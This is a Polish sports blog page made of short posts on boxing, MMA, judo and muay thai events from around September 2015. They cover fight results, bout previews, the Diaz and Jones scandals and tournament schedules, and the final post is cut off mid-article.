Hall za występ wieczoru otrzymał 50 tysięcy dolarów. Swoje konto o taką samą sumę wzbogacili również Josh Barnett, Diego Brandao, Keita Nakamura.

Wyniki UFC Fight Night 75:

265 Ibs: Josh Barnett pokonał Roya Nelsona przez jednogłośną decyzję sędziów

185 lbs: Uriah Hall pokonał Gegarda Mousasiego przez TKO
125 lbs: Kyoji Horiguchi pokonał Chico Camusa przez jednogłośną decyzję sędziów
135 lbs: Takeya Mizugaki pokonał George’a Roopa przez jednogłośną decyzję sędziów
145 lbs: Diego Brandao pokonał Katsunoriego Kikuno przez TKO
145 lbs: Mizuto Hirota vs. Teruto Ishihara niejednogłośny remis

170 lbs: Keita Nakamura pokonał Jinglianga Li przez poddanie
155 lbs: Nick Hein pokonał Yusuke Kasuyę przez jednogłośną decyzję sędziów
155 lbs: Kajan Johnson pokonał Naoyukiego Kotaniego prze jednogłośną decyzję sędziów
170 lbs: Shinsho Anzai pokonał Rogera Zapatę przez TKO (kontuzja)

KM

Posted in Bez kategorii

Bokserska noc w Łodzi

Wszyscy doskonale wiedzą, że 26 września podczas gali Polsat Boxing Night dojdzie do starcia Tomasza Adamka z Przemysławem Saletą. Kto jeszcze zaprezentuje się w Łodzi?

Z pewnością gala będzie okazją do przyjrzenia się postępom niektórych pięściarzy. Coraz lepiej na ringu radzą sobie Marcin Rekowski i Dariusz Sęk. O miano najlepszej pięściarki w Polsce powalczą Ewy: Brodnicka i Piątkowska.

Saleta cięższy

Przemysław Saleta jest prawie dziesięć kilogramów cięższy od Tomasza Adamka, który na wagę wniósł 101,2kg. To uzasadnione, dlatego, że 47-latek przez całą karierę rywalizował w kategorii ciężkiej, a popularny „Góral” wcześniej boksował w niższych wagach. Z pewnością siła jest po stronie Salety, ale szybkość i zwrotność przemawia za młodszym o osiem lat Adamkiem.

Wydarzenie wieczoru rozgrzewa wszystkich, ale ciekawie zapowiada się kolejny pojedynek Marcina Rekowskiego. Rywalem polskiego boksera wagi ciężkiej będzie Nagy Aguilera, który w trakcie swoje pięściarskiej przygody rywalizował z Tomaszem Adamkiem. Bokser z Dominikany musiał uznać wyższość „Górala”. Od czasu pojedynku z Polakiem stoczył cztery walki, z których dwie kończyły się jego triumfami. Kariera Aguilery zapewne już nie eksploduje, ale jest to solidny bokser. Rekowski w tym roku w Gliwicach znokautował Gbengę Oluokuna.

Dariusz Sęk stanie przed trudnym wyzwaniem. Polak zrobił ogromne postępy i wywalczył europejski pas WBC w wadze półciężkiej. Wymagania względem Sęka wzrosły. W Łodzi rywalem 29-latka będzie Pedro Otas. Brazylijczyk od 2012 nie przegrał, a o jego sile świadczy fakt, że w dwudziestu pięciu pojedynkach wygrywał przed czasem. Shefat Isufi przekonał się o potencjale Sęka. Czy Polak przerwie znakomitą passę Otasa?

Michał Cieślak w kategorii cruiser jeszcze nie przegrał. Shawn Cox to pięściarz o sporym potencjale, gdyż na osiemnaście zwycięskich walk aż siedemnaście zakończył przed czasem. Tyle, że od 2012 roku przegrał aż pięć pojedynków. Kamil Szeremeta po pokonaniu Rafała Jackiewicza przebił się do świadomości społecznej. Teraz zmierzy się z Patrickiem Mendy, który rozprawił się z Robertem Świerzbińskim. Po jedenastu latach przerwy na ring wrócił Tomasz Gargula. W tym roku pięściarz stoczył dwa pojedynki i wykazał się stuprocentową skutecznością. Teraz stanie naprzeciw Macieja Miszkina. Podczas gali kibice zobaczą również trzyrundową walkę amatorską, w której zmierzą się Tomasz Jabłoński i Bartosz Gołębiewski.

Panie do boju

Ekscytujące może okazać się starcie Ewy Brodnickiej i Ewy Piątkowskiej. To pojedynek o prymat w kobiecym boksie w Polsce.

Na tę walkę czekano długo. Na przeszkodzie stawały różne kwestie, ale w końcu udało się zakontraktować ten pojedynek. Panie za sobą nie przepadają. Nadszedł czas, aby udowodniły, która z nich jest lepsza. Jedna jak i druga na zawodowym ringu jeszcze nie przegrały.

KM

Posted in Bez kategorii

Do wojska marsz

Wojsko to pewien element siły, w który zaopatrzone jest państwo czy też inne struktury złożone. Rola armii sprowadza się do obrony określonych interesów oraz prowadzenia walki. Ten rzut oka na definicję wojska pozwala nam stwierdzić, że struktura ta ma wiele wspólnego ze sportami walki.

Nie chodzi o porównywanie sportów walki i wojska. Zbliżają się Światowe Wojskowe Igrzyska Sportowe. Wystartują w nich nasze wicemistrzynie świata z Astany w rywalizacji drużynowej w judo.

Wojsko po sportowemu

Bycie żołnierzem to swego rodzaju zobowiązanie i służba. Jak widać na przykładzie naszych judoków można łączyć różne płaszczyzny życia. Wojskowe Igrzyska Sportowe po raz pierwszy zostały zorganizowane w Rzymie we wrześniu 1995 roku. W Mungyeong czempionat zostanie rozegrany po raz szósty. Na gruncie sportów walki zawodnicy będą rywalizowali w boksie, taekwondo oraz judo.

Okazuje się, że kilka naszych srebrnych medalistek z ostatnich mistrzostw świata w judo w Astanie ma związki z wojskiem. Do startu w Mungyeong szykują się Arleta Podolak (57 kg), Agata Ozdoba (63 kg), Karolina Tałach (70 kg) i Daria Pogorzelec (78 kg). Oprócz wicemistrzyń świata w Korei Południowej wystartują: Kinga Kubicka (52 kg) i Halima Mohamed-Seghir (63 kg). Wśród panów zaprezentuje się trzech naszych zawodników: Łukasz Błach (81 kg), Kacper Larem i Jakub Wójcik (obaj 100 kg).

Podczas ostatnich Światowych Wojskowych Igrzysk Sportowych nasi judocy wywalczyli sześć medali. Złota będzie broniła Daria Pogorzelec, która staje się jedną z głównych postaci polskiej reprezentacji. W 2013 roku podczas wojskowych mistrzostw świata w Astanie zawodniczka Wybrzeża Gdańsk zdobyła brąz. W Rio de Janeiro na trzecich miejscach uplasowali się Łukasz Błach i Kacper Larem, którzy również szykują się do startu w Mungyeong. Z kolei w 2007 roku w Hyderabad nasi judocy wywalczyli dwa medale, a więc liczby wskazują na tendencję wzrostową. Czy w Korei nasi zawodnicy poprawią wynik z Rio?

Światowe Wojskowe Igrzyska Sportowe zostaną rozegrane w dniach 2-11 października.

A gdzie inni?

Nasi judocy muszą się rozdzielić. Ci, którzy są związani z wojskiem udadzą się do Mungyeong, a reszta kadry będą walczyła o punkty w wyścigu olimpijskim.

Katarzyna Kłys (70 kg) i Katarzyna Furmanek (+78 kg), które w Astanie wywalczyły srebro w drużynie, udadzą się do Taszkientu, gdzie w dniach 1-3 października odbędą się zawody Grand Prix. Do stolicy Uzbekistanu pojadą również panowie: Jakub Kubieniec (81 kg), Patryk Ciechomski (90 kg) i Maciej Sarnacki (+100 kg). Z tego grona blisko wyjazdu do Rio de Janeiro są Kłys i Sarnacki, ale muszą mieć się na baczności i zdobywać cenne punkty.

KM

Posted in Bez kategorii

X Międzynarodowe Mistrzostwa Śląska Kobiet w Boksie – LIVE

Zapraszamy na transmisję telewizyjną na żywo z X Międzynarodowych Mistrzostw Śląska Kobiet w Boksie – Gliwice 23-26 września 2015 r.. 

Program transmisji:

Oficjalne otwarcie – 24 września 2015 r. – Start godz. 17.00

Walki półfinałowe – 25 września 2015 r. – Start godz. 11.00

Walki finałowe – 26 września 2015 r. – Start godz. 16.00

[kod]

Posted in Bez kategorii

Młodzież ruszy na Warszawę

Utarło się, że to młodsze pokolenia będą pracować na nasze emerytury. Warto dopingować ich w realizacji marzeń. W dniach 26-27 września w Warszawie odbędzie się Międzynarodowy Puchar Polski – „Warsaw Judo Open”, w którym wystartują zawodnicy w wieku 13-19 lat.

To doskonała okazja, aby młodzi adepci judo mogli spróbować swoich sił w rywalizacji z rówieśnikami z innych państw. Dzięki temu zmagania będą bardziej emocjonująca.

Chętnych nie brakuje

W powszechnej świadomości judo istnieje, jednak nie odgrywa pierwszoplanowej roli. O sukcesach zawodników w międzynarodowych startach się nie mówi, judocy nie trafiają na pierwsze strony gazet. Ostatnim wielkim w tej dyscyplinie był Paweł Nastula, czyli mistrz olimpijski z Atlanty. Przez pewien czas przebijała się osoba utalentowanego Tomasza Kowalskiego, który zakończył karierę ze względów zdrowotnych. W ostatnim czasie uwagę opinii publicznej przykuwa żeńska reprezentacja Polski kobiet, która w mistrzostwach świata w Astanie sięgnęła po srebrny medal.

Judo w Polsce robi krok do przodu. Po latach niebytu powoli ta dyscyplina odradza się i „małe” sukcesy przebijają się do powszechnej świadomości. Jednak czy na pewno tak jest? Mimo wszystko wydaje się, że judo jest popularne. Tyle, że nie w wykonaniu seniorów, a dzieci. Warto podkreślić fakt uprawiania wspomnianej dyscypliny przez duże grono najmłodszych. Często rodzice decydują się wysłać swoje pociechy na jakieś dodatkowe zajęcia, często sportowe, i ich wybór właśnie pada na judo. Co ma na to wpływ? Judo to wpojenie pewnych zasad, stylu postępowania i szacunku. Z jeden strony to sztuka walki, ale oparta na określonym kręgosłupie moralnym, który dodaje jej wartości.

Międzynarodowy Puchar Polski – „Warsaw Judo Open” jest absolutnym potwierdzeniem popularności judo. W ostatni weekend września w stolicy Polski zaprezentuje się blisko 1200 młodych zawodników.

Dobre przygotowanie

Impreza rozwija się z roku na rok. Organizator notuje coraz lepsze wyniki. Do udziału w zawodach zgłasza się coraz więcej chętnych.

W 2009 roku w turnieju wystartowało 803 judoków. Rok później w Warszawie pojawiło się ponad trzystu zawodników więcej. Świadczy to o potrzebie organizacji zawodów, które dają młodym adeptom możliwość rywalizacji i sprawdzenia się. W tegorocznej edycji do walki staną judocy w kategoriach wiekowych poniżej 15, 17 i 20 lat.

Kogo można spodziewać się w Warszawie? Rzecz jasna, że rywalizację zdominują zawodnicy z Polski. Nie zabraknie również judoków z Litwy, Łotwy, Ukrainy, Słowacji, Białorusi, Szwecji, Azerbejdżanu, Czech czy Rosji. Warto zaznaczyć, że nie wszystkie kategorie wagowe są odpowiednio obsadzone liczebnie. Dla przykładu w wadze 73kg U14 w poprzednim roku wystartowało sześciu zawodników.

W 2014 roku podczas „Warsaw Judo Open” Polacy wywalczyli dwadzieścia jeden złotych medali. Czy tym razem polska młodzież będzie bardziej gościnna?

KM

Posted in Bez kategorii

Trudne chwile Diaza i Jonesa

Do niedawna byli na szczycie i tłumy ich wielbiły. W ciągu jednej chwili ich kariera legła w gruzach. Nick Diaz już usłyszał wyrok, Jon Jones nadal czeka na karę.

Ich pojedynki przyciągały miliony kibiców przed ekrany telewizorów. Teraz zostali pozostawieni sami sobie w obliczu kłopotów, które sami sobie zafundowali.

Pięć lat

W lutym Nick Diaz stoczył pojedynek z Andersonem Silvą. Walka dwóch wielkich wojowników zakończyła się skandalem. Zarówno Diaz jak i Silva stosowali niedozwolone substancje. „Spider” długo się wypierał i walczył o swoje, ale kolejne testy potwierdziły, że nie ma czystego sumienia.

Chciałoby się powiedzieć, że historia lubi się powtarzać. Tak właśnie jest w przypadku Nicka Diaza. 32-latek miał na swoim koncie występki. Już wcześniej przyłapano go na stosowaniu marihuany i został zawieszony na pięć lat. Tamta sytuacja za wiele Amerykanina nie nauczyła. Po pojedynku z Silvą w organizmie Diaza wykryto marihuanę. Obrońca 32-latka tłumaczył, że poziom specyfiku był poniżej limitu, jednak na niewiele się to zdało.

Zapewne na tym nie koniec walki. Adwokaci Diaza podejmą jeszcze starania, aby zmniejszyć wyrok, który Komisja Sportu Stanu Nevada wymierzyła zawodnikowi. Amerykanin został zawieszony na pięć lat i otrzymał karę finansową w wysokości 165 tysięcy dolarów. Diaz ma 32 lata, a kara jest jednoznaczna z definitywnym zakończeniem kariery.

Diaz jest załamany całą tą sytuacją. Amerykanin otwarcie mówi, że rywalizacja była całym jego życiem. – Nie mam żony i dzieci, gdyż powstrzymałem się od tego, żeby walczyć. Jestem fighterem. Wielu ludzi troszczy się i robi wszystko dla swoich żon i dzieci, ale nie ja. Do tej pory każdą chwilę poświęcałem na przygotowania do walk, a teraz nie mogę tego robić. Zabrali mi praktycznie wszystko, co miałem – nie ukrywa smutku Diaz.

Jones czeka

Jon Jones w jednej chwili stracił pas mistrzowski UFC w wadze półciężkiej, sponsorów oraz sympatię kibiców. A teraz może trafić za kratki.

Amerykanin w kwietniu spowodował wypadek, w którym poszkodowana została kobieta w ciąży. Jones przejechał na czerwonym świetle, uderzył w dwa inne auta i uciekł z miejsca zdarzenia. W samochodzie 27-latka znaleziono również marihuanę.

Jones czeka na zakończenie całej sprawy. 29 września były mistrz UFC stanie przed sądem w Nowym Meksyku, aby usłyszeć wyrok w związku z działaniami, których się dopuścił. Grozi mu kara trzech lat więzienia oraz grzywna. Jones ma 27 lat, więc ma jeszcze tak naprawdę czas, ale po takim doświadczeniu będzie musiał pokazać, że zmądrzał. Z pewnością łatwe to nie będzie.

Diaz i Jones porywali tłumy. Nieodpowiedzialność wpędziła ich w poważne kłopoty. Jak sobie z nimi poradzą? Czy zobaczymy ich jeszcze w oktagonie?

KM

Czyja pięść sięgnie celu?

Walka Przemysława Salety z Tomaszem Adamkiem to pojedynek z gatunku tych, które elektryzują. Dlaczego? Bo naprzeciw siebie staną czołowi polscy bokserzy wagi ciężkiej.

Główne walki podczas Polsat Boxing Night to starcia czołowych postaci polskiego boksu. Ten element na stałe wpisał się w gale realizowane przez tego organizatora. Zarówno Saleta jak i Adamek mieli już okazję boksować podczas Polsat Boxing Night. Teraz los sprawił, że zaprezentują się na ringu w tym samym czasie.

Pobili Gołotę

Dla wielu na wieki najlepszym polskim pięściarzem wagi ciężkiej będzie Andrzej Gołota. Przez lata mówiło się o pojedynku popularnego „Andrew” z Tomaszem Adamkiem. W końcu do niego doszło. Tą walką „Góral” wszedł do kategorii królewskiej. W październiku 2009 roku w łódzkiej Atlas Arenie okazał się zdecydowanie lepszy i szybszy od Gołoty, który powoli żegnał się z ringiem. Adamek wygrał przez nokaut w piątej rundzie.

Jeszcze dłużej miłośnicy boksu czekali na walkę Gołoty z Saletą. „Andrew” przez długi czas był nadzieją białych na zdominowanie wagi ciężkiej, z kolei pięściarz urodzony we Wrocławiu cieszył się z tytułu mistrza Europy. Nie było im jednak po drodze. Gdy byli u szczytu swoich karier nie udało się zorganizować walki. Spotkali się dopiero po przekroczeniu „czterdziestego” roku życia. Saleta dla tej walki wrócił na ring po siedmiu latach przerwy, a Gołota ogłaszał, że zamierza zakończyć karierę po tym pojedynku. „Andrew” po raz kolejny nie miał szczęścia w rywalizacji na rodzimej ziemi. Saleta wykorzystał swoją przewagę, był szybszy, zdecydowany i pokonał bezradnego Gołotę.

Obaj bohaterowie sobotniej gali pokonali legendę polskiego boksu. 26 września gwiazda któregoś z nich zgaśnie.

Kto ma argumenty?

Tomasz Adamek do niedawna rywalizował na amerykańskich ringach. Wielu zastanawiało się nad zasadnością jego przejścia do wagi ciężkiej. Polak świetnie sobie radził w kategorii juniorciężkiej i półciężkiej, gdzie dzierżył w dłoniach pasy mistrzowskie. Jednak w ciężkiej udało mu się doprowadzić do walki o pas, jednak musiał uznać wyższość Witalija Kliczko. Po porażce z Ukraińcem wygrał jeszcze pięć walk, a Wiaczesław Głazkow zakończył jego przygodę w Ameryce.

Powoli rozpoczęto wieszczyć koniec kariery Adamka. Polak podjął jeszcze jedno wyzwanie, gdyż stoczył walkę z Arturem Szpilką o miano najlepszego boksera wagi ciężkiej. „Szpila” okazał się lepszy. Adamek mówił, że to prawdopodobnie jego ostatnia walka, jednak pojawiła się możliwość starcia z Saletą.

Były mistrz Europy wchodzi do ringu od wielkiego dzwonu. Po siedmiu latach przerwy stoczył pojedynek z Gołotą i po upływie dwóch kolejnych zmierzy się z Adamkiem. Saleta jest o osiem lat starszy od swojego najbliższego rywala. 47-latek jest wyższy i cięższy. Czy te atuty wystarczą, aby zdominować Adamka? Obaj mają porównywalne doświadczenie ringowe, ale to „Góral” osiągnął więcej w świecie boksu. Z tym, że Saleta często jest niedoceniany i w kontekście tej walki patrzy się na niego z przymrużeniem. Warto pamiętać, iż „Góral” w wadze ciężkiej miał ogromne problemy ze zdominowaniem „większych rywali”. Najczęściej wygrywał na punkty. Do tej pory Adamek stoczył cztery walki w Polsce, dwie z nich przegrał. Saleta w ojczyźnie przegrał tylko raz. Jak to będzie wyglądało po najbliższym pojedynku?

KM

Wymagający rywal Jędrzejczyka

Paweł Jędrzejczyk przygotowuje się do kolejnego pojedynku. Tym razem rywalem niespełna 35-letniego zawodnika będzie Thanenlek Chompon.

Pojedynek będzie jednym z głównych wydarzeń gali Martial Arts Contest 1 „Polska vs Tajlandia” w hali „Orbita” we Wrocławiu, która odbędzie się 24 października.

Gwiazda i gwiazda

Fanom sportów uderzanych Pawła Jędrzejczyka przedstawiać nie trzeba. To ikona i jeden z najbardziej utytułowanych polskich zawodników muay thai oraz kickboxingu. Nie sposób zliczyć wszystkich sukcesów fightera z Wrocławia.

Praktycznie co roku Jędrzejczyk znajduje się na samym szczycie i zdobywa mistrzowskie tytuły. Los jednak polskiego zawodnika nie oszczędzał. Kariera wojownika to duża ilość walk, ciężkich treningów, co wiąże się z ryzykiem kontuzji. Jędrzejczyk doświadczył konieczność dłuższego odpoczynku. W 2014 roku wrócił do rywalizacji po piętnastu miesiącach przerwy. Było to swego rodzaju wejście smoka. Jędrzejczyk sięgnął po tytuł zawodowego mistrza świata thai boxing WKA. W Zakopane uporał się z Josipem Balentovichem, którego pokonał w piątej rundzie niskimi kopnięciami.

Na polskim podwórku osiągnął wszystko, co mógł. W sukcesy w jego wykonaniu obfitował rok 2009, kiedy to Jędrzejczyk wywalczył brązowy medal Mistrzostw Świata muay thai organizacji WMF oraz zdobył zawodowe mistrzostwo świata K1 Rules organizacji WKN. W K-1 i muay thai osiągnął poziom mistrzowski i zdobywał kolejne tytuły. Od pewnego czasu Jędrzejczyk koncentruje się wyłącznie na występach zawodowych, co przynosi efekty.

Warto przypomnieć, że zawodnik z Wrocławia to pierwszy Polak, który walczył na najsłynniejszych arenach muay thai – Rajadamnern Stadium i Lumpinee Stadium w Bangkoku.

Kim jest najbliższy rywal Jędrzejczyka? Thanenlek Chompon to przeciwnik wymagający, który ma na swoim koncie bogate doświadczenia. Fighter z Tajlandii zwyciężył prawie dwieście walk, co jest wynikiem imponującym. Chompon może się poszczycić tytułem mistrza słynnego Rajadamnern Stadium i mistrzostwem Tajlandii.

Czy Polak da radę?

Trzeba w to głęboko wierzyć i nie stawiać Jędrzejczyka na straconej pozycji. Często wydaje się, że polski zawodnik w rywalizacji z mocnym Tajem stoi na przegranej pozycji, ale nic bardziej mylnego.

Jędrzejczyk ma bogate doświadczenie podczas występów w Tajlandii, gdzie nie był chłopcem do bicia. W maju tego roku Polak stoczył pojedynek w Pattayi ze znanym F16 Rajanont. Decyzją sędziów to wrocławianin zasłużył na zwycięstwo. Trzy lata temu o sile Jędrzejczyka przekonał się Cheerchai Petchpaothong, który już w pierwszej rundzie musiał pogodzić się z porażką. Polak wygrał przez nokaut. Gareth Nellies jest ostatnim zawodnikiem mogącym poszczycić się pokonaniem wielokrotnego mistrza świata. Jednak Jędrzejczyk wziął już rewanż na Angliku i uporał się z nim w lutym tego roku na stadionie w Bangkoku.

Walka Jędrzejczyk vs Chompon odbędzie się w limicie kategorii półciężkiej.

KM

Kolejni Polacy w UFC

Kolonia naszych fighterów w UFC powiększa się. Dwójka naszych zawodników będzie miała okazję zaprezentować swoje umiejętności w najlepszej organizacji mieszanych sztuk walki na świecie.

Obecnie furorę w UFC robi Joanna Jędrzejczyk, która w swoich dłoniach dzierży pas mistrzyni kategorii słomkowej. Nieudane start w Stanach zaliczył Jan Błachowicz. Na kolejne walki czekają Krzysztof Jotko, Bartosz Fabiński, Damian Stasiak czy Daniel Omielańczuk.

Marzenia się spełniają

Tak zapewne powiedziała Karolina Kowalkiewicz, kiedy dowiedziała się, że rozmowy z UFC dobiegły końca i ich finał jest pozytywny. 29-letnia zawodniczka podkreślała, iż występy w amerykańskiej organizacji są jej celem. Założenia udało się zrealizować, więc teraz nie pozostaje nic innego jak stanąć do boju i rywalizować z najlepszymi.

Niewykluczone, że w UFC ujrzymy pojedynek dwóch Polek. Kowalkiewicz rywalizuje w kategorii słomkowej, a więc w tej, w której pas dzierży Joanna Jędrzejczyk. Ta rywalizacja z pewnością dostarczyłaby ogromnych emocji kibicom w Polsce, ale trzeba podchodzić do tej kwestii spokojnie. Jędrzejczyk na swoją szansę musiała poczekać. Podobnie będzie z Kowalkiewicz. Polka wchodząc do UFC jest anonimowa i musi odbyć kilka walk, aby zdobyć uznanie włodarzy i mówiąc najprościej – zasłużyć na pojedynek z jedną z najlepszych zawodniczek w UFC.

Kowalkiewicz jeszcze w tym roku ma zadebiutować w barwach amerykańskiej organizacji. Do tej pory poza krajem walczyła tylko raz i występ ten wspomina pozytywnie. Na gali Invicta FC 9 Polka uporała się z Japonką Mizuki Inoue. Dotychczas Kowalkiewicz nie przegrała. Na szerokie wody wypłynęła w KSW, które zapewniło jej popularność i status najlepszej zawodniczki w kraju. W lutym pokonała Kalindrę Farię.

Po M-1 czas na UFC

Taką drogą idzie Damian Grabowski. 35-letni fighter z Opola to jeden z najbardziej rozpoznawalnych polskich zawodników MMA zagranicą.

Grabowski ma swoją pozycję pracował walcząc na galach Bellatora oraz M-1. Do tej pory poniósł dwie porażki. Raz przegrał w Bellatorze i raz w M-1, gdzie musiał uznać wyższość swojego rodaka Marcina Tybury, który tym samym odebrał mu tytuł mistrzowski.

Popularny „Pitbull” to gwarancja walki na wysokim poziomie i ciekawych rozstrzygnięć. Tylko trzy zwycięskie pojedynki Grabowskiego kończyły się decyzją sędziów. W ponad połowie przypadków Polak zmuszał rywali do poddania. UFC szuka ciekawych zawodników, którzy mogą zwiększyć atrakcyjność ich produktu. Grabowski ma niezbędne doświadczenie, jest wytrzymały psychiczne i ma predyspozycje, aby walczyć na najwyższym poziomie.

Nie wiadomo, kiedy Polak po raz pierwszy pojawi się w klatce UFC. Na występ czeka od 25 listopada 2014 roku. Wtedy stoczył ostatni dotychczas pojedynek, wygrywając z Konstantinem Gluhovem.

KM

X Międzynarodowe Mistrzostwa Śląska Kobiet w Boksie

W dniach 23-26 września 2015 r. w Gliwicach odbędą się X Międzynarodowe Mistrzostwa Śląska Kobiet w Boksie. Zapowiada się ciekawa rywalizacja ma ringu, szczególnie, że na Górnym Śląsku pojawią się najlepsze zawodniczki reprezentacji Australii, Szwecji, Czech, Węgier i oczywiście Polski. Oprócz wymienionych na starcie zobaczymy również zawodniczki z Anglii, Kazachstanu, Litwy, Niemiec, Norwegii, Rosji i Słowacji. Gośćmi honorowymi będą znani pięściarze – m.in. Krzysztof „Diablo” Włodarczyk oraz Damian Jonak. 

Program X Międzynarodowych Mistrzostw Śląska Kobiet w Boksie (23-26.09.2015) Gliwice

23.09.2015 (środa)
12:00 – 15:00 przyjazd ekip oraz waga i badania lekarskie   
Dom Gościnny Politechniki Śląskiej ul. Pszczyńska 89a – zakwaterowanie będzie w Akademikach Politechniki Śląskiej.
16:00 – konferencja techniczna, losowanie par 
18:30 – walki eliminacyjne

24.09.2015 (czwartek)
07:00 – 08:00  waga i badania lekarskie – ul. Pszczyńska 89a
11:00 – I seria walk ćwierćfinałowych
16:40 – Uroczyste otwarcie zawodów przez Prezydent Miasta Gliwic Zygmunta Frankiewicza  
17:00 – II seria walk ćwierćfinałowych

25.09.2015 (piątek)
07:00 – 08:00 – waga i badania lekarskie – ul. Pszczyńska 89a
11:00 – I seria walk półfinałowych 
17:00 – II seria walk półfinałowych

26.09.2015 (sobota)
07:00 – 08:00 – waga i badania lekarskie  ul. Pszczyńska 89a 
16:00 – Finał i dekoracje zawodniczek (medale, dyplomy, puchary, wyróżnienia, upominki)

Zawody będą relacjonowane na żywo w Telewizji FighTime a także w mediach lokalnych, stronie PZB, portalu www.bokser.org oraz TV IMPERIUM.

Drużyna bez medalu

Mistrzostwa Europy juniorów w judo kończyły się rywalizacją drużynową. Polacy tym razem startowali bez powodzenia.

O krok od powiększenia dorobku medalowego naszej reprezentacji na mistrzostwach Europy w Oberwart była kadra panów, jednak na ostatniej prostej trafiła na Rosjan, którzy pozbawili biało-czerwonych szans na finał.

Obiecujący początek

Szansa na medal była. Polacy dobrze rozpoczęli rywalizację w turnieju drużynowym. W pierwszym starciu biało-czerwoni trafili na Francję i zdecydowanie wygrali 4:1. Polacy zrobili krok do przodu, a kolejnym rywalem naszych judoków była Serbia, która na początek rozprawiła się z Holandią. Starcie z ekipą z Bałkanów do łatwych nie należało. Biało-czerwoni musieli walczyć do samego końca o zwycięstwo, co przyniosło pozytywny efekt. Serbia pożegnała się z mistrzostwami, przegrywając 2:3.

Ciężki bój z Serbami sprawił, że biało-czerwoni do półfinałowej rywalizacji przystępowali nieco osłabieni. Choć duch walki nadal prowadził serca naszych chłopaków do boju to odczuwali trudy ćwierćfinału. Wykorzystali to Rosjanie, czyli ekipa niezwykle mocna i zdeterminowana, aby odnieść sukces. Reprezentanci Sbornej nie pozostawili Polakom żadnych złudzeń i wygrali gładko 5:0. Biało-czerwonym pozostała walka o brązowy medal. W decydującym pojedynku nasi juniorzy spotkali się z Białorusią, która w repasażach poradziła sobie z Austrią. Polacy stoczyli kolejny wyczerpujący bój, który wymagał od nich ogromnych umiejętności i zaangażowania. Tego dnia biało-czerwoni nie mieli szczęścia w rywalizacji ze swoimi „sąsiadami”. Rosja rozbiła naszą reprezentację, a Białoruś po wyrównanym boju zwyciężyła 3:2.

Złoty medal w drużynowej rywalizacji panów dla Rosji, srebro dla Niemców. Trzecie miejsce dla Gruzji i Białorusi.

Rosja na drodze Polek

Fantastyczną pracę podczas mistrzostw świata w Astanie wykonała reprezentacja kobiet pod wodzą trener Anety Szczepańskiej. Biało-czerwone sięgnęły po srebrny medal przegrywając w finale z Japonią. Juniorkom nie poszło tak dobrze. Młode judoczki w Oberwart uplasowały się na siódmej pozycji.

Polki rywalizację w turnieju drużynowym rozpoczęły od starcia z gospodyniami turnieju, czyli Austriaczkami. Powszechnie wiadomo, że ściany pomagają gospodarzom, jednak biało-czerwone były dobrze dysponowane. Polki nie pozostawiły złudzeń swoim rywalkom i wygrały pewnie 4:1. Na tym koniec dobrych informacji. Chorwatki były kolejnymi przeciwniczkami naszych zawodniczek. Polki przegrały 1:4, a judoczki z Bałkanów brnęły do przodu, ale w decydującym momencie zabrakło im szczęścia i zajęły piątą lokatę. W repasażach Polska trafiła na Rosję, ale po ambitnej walce triumfowała Sborna – 3:2. W finale spotkały się Francja i Słowenia. Z tytułu mistrzowskiego cieszą się Trójkolorowe. Brązowe medale dla Rosjanek i Niemek.

Jak widać na powyższych przykładach rywalizacja została zdominowana przez reprezentacje Rosji i Niemiec. Obie nacje sięgnęły po medale zarówno wśród pań jak i panów.  

KM

Nowatorski turniej MMA "The Circle" w FightKlubie.

Zapraszamy na premierę nowatorskiego turniej MMA "The Circle" w którym liczyć będą się zarówno umiejętności walki jak i gry zespołowej. Emisja pierwszej imprezy turnieju w środę 23 września o godzinie 21:00.

Podczas ośmiu turniejów z udziałem zawodników wagi lekkiej, półśredniej i średniej wyłaniane będą najlepsze zespoły, które wspinać się będą po drabince turnieju aż do wielkiego finału. Zespoły reprezentować będą barwy konkretnej nacji. W turnieju wezmą udział zawodnicy z Argentyny, Australii, Brazylii, Chin, Włoch, Japonii, Maroko, Holandii, Rosji, RPA, Hiszpanii, Szwecji, Tajlandii, Turcji, Wielkiej Brytanii i USA. Będzie to zatem wielka konfrontacja stylów i tradycji sztuk walki. Każdy zespół składać się będzie z trzech mężczyzn i jednej kobiety, mężczyźni za zwycięstwo otrzymają jeden punkt, zaś kobiety; dwa punkty. W Barcelonie na pierwszy ogień pójdą reprezentacje: Australii, która zmierzy się z gospodarzem – Hiszpanią oraz Tajlandii i Włoch, które staną naprzeciwko siebie.

Konfrontacja narodów, ale też nowy stary ring w kształcie okręgu, przypominać ma dawne czasy MMA, czyli pojedynki na ulicach gdzie zawodnicy bili się na gołe pięści otoczeni kręgiem gapiów. Aby zobaczyć nową jakość nie zapomnijcie włączyć FightKlubu. Zapraszamy w środę na godzinę 21:00.

Zwiastun: 

[kod]

Źródło: materiały prasowe

26 września: Starcie o EBU-EU na żywo wyłącznie w FightKlubie!

Zapraszamy na bokserski wieczór, podczas którego zobaczymy pojedynek o czempionat Unii Europejskiej w kategorii piórkowej. W przeciwnych narożnikach staną  niepokonany reprezentant gospodarzy Carmine Tommasone (14-0, 4 KO) oraz leworęczny przybysz z malowniczej Szkocji  Jon Slowey (19-1, 0 KO).

31-letni Tommasone w dwóch ostatnich pojedynkach pokonał Mario Pisantiego i Cristiana Palmę, co zaowocowało zdobyciem pasów mistrza Włoch oraz WBA Inter-Continental w dywizji piórkowej. Teraz ma szansę na mistrzostwo Unii Europejskiej. Na jego drodze stanie nieco bardziej doświadczony, choć kilka lat młodszy, 24-letni Jon Slowley. Urodzony w Glasgow Brytyjczyk ma na koncie tylko jedną porażkę  z Krisem Hughesem, którego zresztą wcześniej pokonał. Szkot nie należy do najmocniej bijących, na 19 zwycięstw nigdy nie wygrał przed czasem, jest jednak bardzo odporny, nigdy nie leżał na deskach. Atomowe uderzenie nie jest także atutem Tommasone, który zastopował 4 na 14 oponentów. To jednak nie jest wcale zła wiadomość – bokserzy, którzy nie biją mocno, muszą bić dużo i szybko dzięki czemu walka będzie z pewnością widowiskowa.

Na transmisję z gali zapraszamy w sobotę 26 września na godzinę 21:00!

Źródło: materiały prasowe

Tybura nokautuje, tytuł obroniony

Marcin Tybura robi furorę w organizacji M-1. Polski fighter wygrał kolejny pojedynek i obronił pas mistrza rosyjskiej organizacji w wadze ciężkiej.

25-latek z Uniejowa to niezwykle twardy zawodnik, który udowodnił swoją siłę po raz kolejny. Tybura pokonał przez nokaut Ante Deliję.

Udana obrona

Polak jako mistrz rosyjskiej organizacji mieszanych sztuk walki to brzmi ciekawie. Wydawałoby się, że to nierealne i możliwe tylko w filmie since fiction, ale okazuję się, iż Polak potrafi. Tybura na dobre zadomowił się w M-1. Wywalczył tytuł mistrzowski w wadze ciężkiej i po raz kolejny obronił go.

